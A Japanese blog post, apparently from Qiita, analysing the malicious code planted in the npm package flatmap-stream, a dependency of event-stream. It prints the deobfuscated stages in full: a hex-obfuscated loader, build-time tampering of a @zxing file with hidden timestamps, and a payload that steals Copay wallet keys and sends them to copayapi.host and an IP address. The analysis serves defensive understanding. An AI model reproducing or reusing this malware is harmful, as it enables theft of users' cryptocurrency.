まずお詫び。タイトルに「未来のハッカー(自称)」と書きましたが、そんなわけないです。全国のハッカーの皆様、本当に申し訳ございませんm(_ _)m
人気のnpmパッケージである「event-stream」が依存している「flatmap-stream」というパッケージにBitcoinを盗むコードが入れられた事件で、具体的に入れられた攻撃コードを解析してみました。
このページの内容が間違っていたら教えていただけると幸いです。
また、この事件に関する概要などは https://qiita.com/mysticatea/items/aac027f9183ea9f0f9b1 に詳しく書いてありました。この事件に関して知らない場合はあらかじめ読んでおくことをおすすめします。
flatmap-streamのindex.min.js
の攻撃コードの部分(整形済み)
!function () {
try {
var r = require;
var t = process;
function e(r) {
return Buffer.from(r, 'hex').toString();
}
var n = r(e('2e2f746573742f64617461'));
var o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o);
var a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor;
f.paths = module.paths;
f[e(n[7])](a, '');
f.exports(n[1]);
} catch (r) {
}
}();
このコードの意味を順番に説明します。
var r = require,
t = process;
この部分はminifyでこうなったのだと思います。
これからはわかりやすいようにr
をrequire
、t
をprocess
と書きます。
function e(r) {
return Buffer.from(r, 'hex').toString();
}
e()
という関数を定義しています。16進数表記された文字列を普通の文字列に戻す処理を行っています。
var n = require(e('2e2f746573742f64617461'));
e('2e2f746573742f64617461')
の結果は./test/data
なので、このコードではn
という変数にtest/data.js
の内容を読み込みます。
test/data.js
は配列になっているので(長いので中身は省略)、n
は配列になります。
var o = process[e(n[3])][e(n[4])];
e(n[3])
の結果はenv
、e(n[4])
の結果はnpm_package_description
なので、このコードは
var o = process['env']['npm_package_description'];
という意味になります。
ここで process
は配列じゃないと思った方もいらっしゃると思いますが、JavaScriptでは foo.bar
と foo['bar']
は同じ意味なので、このコードは
var o = process.env.npm_package_description; // 環境変数 "npm_package_description"の中身
となります。
ここでまた よくわからないnpm_package_description
という環境変数が出てきましたが、これは npm-scriptsを実行するときに nodeが自動的にpackage.json
のdescription
の内容を格納します。
今回の攻撃は、description
がA Secure Bitcoin Wallet
である場合のみ正常に動くようです。(だから余計気づかれにくかった?)
if (!o) return;
変数o
の内容(環境変数 npm_package_description
)が設定されていない場合は終了するようにしています。
var u = require(e(n[2]))[e(n[6])](e(n[5]), o);
e(n[2])
の結果はcrypto
、
e(n[6])
の結果はcreateDecipher
、
e(n[5])
の結果はaes256
なので、
var u = require('crypto').createDecipher('aes256', o);
となります。
このコードの意味は、「AES256で暗号化されていて、パスワードがo
(=環境変数 npm_package_description
の内容)のデータを復号化するオブジェクトを生成して 変数u
に入れる」です。
今回はデータの正しいパスワードがA Secure Bitcoin Wallet
なので、description
がA Secure Bitcoin Wallet
であるパッケージでしか動作しません。
var a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
e(n[8])
は hex
e(n[9])
は utf8
なので、
「hex
(16進数文字列のこと)で書かれたn[0]
を復号化して変数a
に入れる」という処理を行っています。
わかりやすく書き直すと
var a = u.update(n[0], 'hex', 'utf8') + u.final('utf8');
になります。
この結果は
/*@@*/module.exports=function(e){try{if(!/build\:.*\-release/.test(process.argv[2]))return;var t=process.env.npm_package_description,r=require("fs"),i="./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",n=r.statSync(i),c=r.readFileSync(i,"utf8"),o=require("crypto").createDecipher("aes256",t),s=o.update(e,"hex","utf8");s="\n"+(s+=o.final("utf8"));var a=c.indexOf("\n/*@@*/");0<=a&&(c=c.substr(0,a)),r.writeFileSync(i,c+s,"utf8"),r.utimesSync(i,n.atime,n.mtime),process.on("exit",function(){try{r.writeFileSync(i,c,"utf8"),r.utimesSync(i,n.atime,n.mtime)}catch(e){}})}catch(e){}};
になります。
var f = new module.constructor;
f.paths = module.paths;
f[e(n[7])](a, '');
f.exports(n[1]);
e(n[7])
は_compile
なので、
var f = new module.constructor;
f.paths = module.paths;
f._compile(a, '');
f.exports(n[1]);
となります。
このコードの処理内容は、「変数a
がエクスポートしている関数を、n[1]
を引数にして呼び出す」です。
それでは変数a
の処理内容を見ていきましょう。
変数a
の処理内容
a
の内容ですが、そのままだと読みにくいので、少し読みやすく整形しました。
コメントを入れてあるので、大体の処理の流れをつかめるかと思います。
(ここに関してはもっとわかりやすく書きなおす予定)
/*@@*/
module.exports = function (e) {
// e は 暗号化したスクリプト
try {
// コマンドライン引数が「build」関係でなければ終了する(ビルドするときだけ発動する)
if (!/build\:.*\-release/.test(process.argv[2])) return;
var fs = require('fs');
var i = './node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js';
var n = fs.statSync(i);
var c = fs.readFileSync(i, 'utf8');
// 暗号化したスクリプトを復号する(復号結果は↓に書きます)
var o = require('crypto').createDecipher('aes256', 'A Secure Bitcoin Wallet');
var s = o.update(e, 'hex', 'utf8');
s = '\n' + s + o.final('utf8');
var a = c.indexOf('\n/*@@*/');
0 <= a && (c = c.substr(0, a));
// 他の処理で使うファイルを改ざんする(暗号化してあったスクリプトを混入させる)
fs.writeFileSync(i, c + s, 'utf8');
fs.utimesSync(i, n.atime, n.mtime);
// プロセスの終了時に
process.on('exit', function () {
try {
// 改ざんしたファイルを改ざんする前の状態に戻す(更新日時も変更しない)
fs.writeFileSync(i, c, 'utf8');
fs.utimesSync(i, n.atime, n.mtime);
} catch (e) {
}
});
} catch (e) {
}
};
暗号化してあったスクリプト
/*@@*/
!function () {
function e() {
try {
var http = require('http');
var crypto = require('crypto');
var publicKey = '-----BEGIN PUBLIC KEY-----\n' +
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\n' +
'DXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\n' +
'BOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n' +
'2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\n' +
'PDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\n' +
'LlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n' +
'2wIDAQAB\n' +
'-----END PUBLIC KEY-----';
/**
* 指定したホストの8080番ポートにHTTPのPOSTでファイルを送信する
* @param e 16進数で表記したホスト名
* @param t POSTするパス
* @param n 送信するファイル
*/
function uploadFile(e, t, n) {
e = Buffer.from(e, 'hex').toString();
var r = http.request({
hostname: e,
port: 8080,
method: 'POST',
path: '/' + t,
headers: {'Content-Length': n.length, 'Content-Type': 'text/html'}
}, function () {
});
r.on('error', function (e) {
}), r.write(n), r.end();
}
function r(e, t) {
for (var n = '', r = 0; r < t.length; r += 200) {
var o = t.substr(r, 200);
// 公開鍵暗号を使ってファイルを暗号化している
n += crypto.publicEncrypt(publicKey, Buffer.from(o, 'utf8')).toString('hex') + '+';
}
// copayapi.hostに送信する
uploadFile('636f7061796170692e686f7374', e, n);
// 111.90.151.134に送信する
uploadFile('3131312e39302e3135312e313334', e, n);
}
function l(t, n) {
if (window.cordova) try {
var e = cordova.file.dataDirectory;
resolveLocalFileSystemURL(e, function (e) {
e.getFile(t, {create: !1}, function (e) {
e.file(function (e) {
var t = new FileReader;
t.onloadend = function () {
return n(JSON.parse(t.result));
}, t.onerror = function (e) {
t.abort();
}, t.readAsText(e);
});
});
});
} catch (e) {
} else {
try {
var r = localStorage.getItem(t);
if (r) return n(JSON.parse(r));
} catch (e) {
}
try {
chrome.storage.local.get(t, function (e) {
if (e) return n(JSON.parse(e[t]));
});
} catch (e) {
}
}
}
global.CSSMap = {}, l('profile', function (e) {
for (var t in e.credentials) {
var n = e.credentials[t];
'livenet' == n.network && l('balanceCache-' + n.walletId, function (e) {
var t = this;
t.balance = parseFloat(e.balance.split(' ')[0]), 'btc' == t.coin && t.balance < 100 || 'bch' == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r('c', JSON.stringify(t)));
}.bind(n));
}
});
var e = require('bitcore-wallet-client/lib/credentials.js');
e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function (e) {
var t = this.getKeysFunc(e);
try {
global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r('p', e + '\\t' + this.xPubKey));
} catch (e) {
}
return t;
};
} catch (e) {
}
}
window.cordova ? document.addEventListener('deviceready', e) : e();
}();